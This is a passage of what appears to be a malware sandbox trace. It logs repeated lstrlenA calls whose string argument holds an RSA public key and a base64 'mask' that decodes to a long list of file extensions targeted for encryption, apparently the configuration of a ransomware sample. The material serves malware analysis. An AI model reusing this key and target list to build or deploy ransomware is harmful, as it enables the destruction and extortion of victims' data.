ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN